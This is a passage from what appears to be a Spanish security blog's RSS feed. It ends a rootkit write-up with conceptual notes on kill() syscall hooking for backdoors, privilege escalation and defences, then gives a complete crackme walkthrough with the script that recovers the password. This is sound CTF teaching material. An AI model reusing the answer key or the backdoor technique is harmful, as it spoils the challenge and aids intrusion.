&lt;p&gt;Este challenge ilustra varios conceptos críticos en análisis de malware y respuesta a incidentes:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Aprendizajes técnicos:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Los rootkits LKM operan en ring 0 y pueden interceptar syscalls arbitrarias&lt;/li&gt;
&lt;li&gt;La función &lt;code&gt;kill()&lt;/code&gt; puede ser hookeada para implementar backdoors mediante señales personalizadas&lt;/li&gt;
&lt;li&gt;El análisis estático es imprescindible cuando la documentación pública no coincide con el comportamiento observado&lt;/li&gt;
&lt;li&gt;Los rootkits modificados requieren ingeniería inversa completa, sin asumir comportamiento estándar&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Técnicas aplicadas:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Análisis estático con Ghidra para identificar modificaciones en código conocido&lt;/li&gt;
&lt;li&gt;Correlación entre comportamiento documentado y comportamiento real&lt;/li&gt;
&lt;li&gt;Escalado de privilegios mediante funcionalidades maliciosas del rootkit&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Implicaciones defensivas:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Los LKM son extremadamente difíciles de detectar una vez cargados&lt;/li&gt;
&lt;li&gt;La verificación de integridad de módulos del kernel (&lt;code&gt;module signing&lt;/code&gt;, &lt;code&gt;Secure Boot&lt;/code&gt;) es crítica&lt;/li&gt;
&lt;li&gt;Herramientas como &lt;code&gt;LKRG&lt;/code&gt; (Linux Kernel Runtime Guard) pueden detectar hooks en syscalls&lt;/li&gt;
&lt;li&gt;La respuesta a incidentes con rootkits requiere arranque desde medios externos confiables&lt;/li&gt;
&lt;/ul&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Exalton</title><link>https://synacklabs.github.io/posts/exalton/</link><pubDate>Thu, 15 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/exalton/</guid><description>&lt;h2 id="contexto-y-objetivo"&gt;Contexto y objetivo&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Exalton&lt;/strong&gt; es un challenge de reversing que presenta un binario que solicita una contraseña. El objetivo es analizar la lógica de validación para recuperar la contraseña correcta mediante ingeniería inversa.&lt;/p&gt;
&lt;p&gt;La protección consiste en una transformación aritmética aplicada a cada carácter de la entrada, cuyos resultados se comparan contra un array de valores precomputados.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="reconocimiento-inicial"&gt;Reconocimiento inicial&lt;/h2&gt;
&lt;p&gt;Tras descargar el binario, realizamos una identificación básica con &lt;code&gt;file&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;file exalton
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Se trata de un ejecutable ELF de arquitectura x86-64. No presenta ofuscación aparente ni protecciones anti-debugging.&lt;/p&gt;</description><content>&lt;h2 id="contexto-y-objetivo"&gt;Contexto y objetivo&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Exalton&lt;/strong&gt; es un challenge de reversing que presenta un binario que solicita una contraseña. El objetivo es analizar la lógica de validación para recuperar la contraseña correcta mediante ingeniería inversa.&lt;/p&gt;
&lt;p&gt;La protección consiste en una transformación aritmética aplicada a cada carácter de la entrada, cuyos resultados se comparan contra un array de valores precomputados.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="reconocimiento-inicial"&gt;Reconocimiento inicial&lt;/h2&gt;
&lt;p&gt;Tras descargar el binario, realizamos una identificación básica con &lt;code&gt;file&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;file exalton
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Se trata de un ejecutable ELF de arquitectura x86-64. No presenta ofuscación aparente ni protecciones anti-debugging.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="análisis-estático"&gt;Análisis estático&lt;/h2&gt;
&lt;p&gt;Abrimos el binario en &lt;strong&gt;Ghidra&lt;/strong&gt; para realizar el análisis estático. Comenzamos inspeccionando las strings del binario, pero no encontramos información relevante que revele directamente la contraseña.&lt;/p&gt;
&lt;h3 id="función-main"&gt;Función main()&lt;/h3&gt;
&lt;p&gt;En la función &lt;code&gt;main()&lt;/code&gt;, observamos la lógica principal del programa:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-803c-a0de-ceaf02b5989e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;El programa solicita una entrada al usuario mediante &lt;code&gt;scanf&lt;/code&gt; y posteriormente la pasa como argumento a una función llamada &lt;code&gt;exalton()&lt;/code&gt;. El valor de retorno de esta función se compara contra un array de 36 valores enteros hardcodeados en el código.&lt;/p&gt;
&lt;p&gt;Estos valores representan la transformación esperada de cada carácter de la contraseña correcta:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#ae81ff"&gt;1152&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1344&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1056&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1968&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1728&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;816&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1648&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;784&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1584&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;816&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;1728&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1520&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1840&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1664&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;784&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1632&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1856&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1520&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1728&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;816&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;1632&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1856&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1520&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;784&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1760&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1840&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1824&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;816&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1584&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1856&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;784&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1776&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1760&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;528&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;528&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2000&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="función-exalton"&gt;Función exalton()&lt;/h3&gt;
&lt;p&gt;Analizamos la función &lt;code&gt;exalton()&lt;/code&gt; para comprender la transformación aplicada:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8000-9c0c-f1e2ebfacd6e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;La función realiza las siguientes operaciones sobre cada carácter de la entrada:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Recorre la cadena carácter por carácter&lt;/strong&gt; mediante un bucle&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Convierte cada carácter a su valor ASCII&lt;/strong&gt; (implícito en C al tratar &lt;code&gt;char&lt;/code&gt; como entero)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Aplica un desplazamiento de bits a la izquierda de 4 posiciones&lt;/strong&gt; (&lt;code&gt;&amp;lt;&amp;lt; 4&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;La operación &lt;code&gt;x &amp;lt;&amp;lt; 4&lt;/code&gt; equivale a multiplicar por 2⁴ = 16. Por tanto, la transformación es:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;valor_transformado&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ASCII&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;carácter&lt;/span&gt;) &lt;span style="color:#960050;background-color:#1e0010"&gt;×&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="solución-reversión-de-la-transformación"&gt;Solución: Reversión de la transformación&lt;/h2&gt;
&lt;p&gt;Para recuperar la contraseña original, debemos aplicar la operación inversa a cada valor del array. Si la transformación fue &lt;code&gt;x &amp;lt;&amp;lt; 4&lt;/code&gt;, la inversa es &lt;code&gt;x &amp;gt;&amp;gt; 4&lt;/code&gt; (desplazamiento a la derecha).&lt;/p&gt;
&lt;p&gt;Implementamos un script en Python que:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Toma cada valor del array&lt;/li&gt;
&lt;li&gt;Aplica &lt;code&gt;&amp;gt;&amp;gt; 4&lt;/code&gt; para revertir la multiplicación por 16&lt;/li&gt;
&lt;li&gt;Convierte el resultado a su carácter ASCII correspondiente&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;transform_inversa&lt;/span&gt;(numbers):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; result &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; n &lt;span style="color:#f92672"&gt;in&lt;/span&gt; numbers:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ascii_val &lt;span style="color:#f92672"&gt;=&lt;/span&gt; n &lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; &lt;span style="color:#75715e"&gt;# Revertir el desplazamiento&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; result &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; chr(ascii_val)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; result
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;password &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#ae81ff"&gt;1152&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1344&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1056&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1968&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1728&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;816&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1648&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;784&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1584&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;816&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;1728&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1520&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1840&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1664&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;784&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1632&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1856&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1520&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1728&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;816&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;1632&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1856&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1520&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;784&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1760&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1840&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1824&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;816&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1584&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1856&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;784&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1776&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1760&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;528&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;528&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2000&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print(transform_inversa(password))
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="resultado-y-verificación"&gt;Resultado y verificación&lt;/h2&gt;
&lt;p&gt;Al ejecutar el script, obtenemos la contraseña correcta. Verificamos ejecutando el binario con la contraseña recuperada:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-80ff-9c94-ebbcb14adffb.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;El programa acepta la entrada y nos revela la flag.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="conclusión"&gt;Conclusión&lt;/h2&gt;
&lt;p&gt;Este challenge ilustra una técnica común en reversing: &lt;strong&gt;transformaciones aritméticas simples&lt;/strong&gt; aplicadas a la entrada del usuario. Aunque el operador de desplazamiento de bits puede parecer complejo a simple vista, su equivalencia con operaciones aritméticas lo hace reversible de forma trivial.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Aprendizajes técnicos:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Los operadores bit a bit (&lt;code&gt;&amp;lt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt;) son frecuentemente usados en validaciones de contraseña&lt;/li&gt;
&lt;li&gt;La operación &lt;code&gt;&amp;lt;&amp;lt; 4&lt;/code&gt; es equivalente a &lt;code&gt;× 16&lt;/code&gt; y &lt;code&gt;&amp;gt;&amp;gt; 4&lt;/code&gt; a &lt;code&gt;÷ 16&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Ghidra facilita la identificación de patrones de transformación mediante la descompilación&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Implicación defensiva:&lt;/strong&gt; Este tipo de validación ofrece protección nula contra análisis estático, ya que los valores esperados están expuestos directamente en el binario. Una implementación más robusta requeriría hashing criptográfico o validación remota.&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item></channel></rss>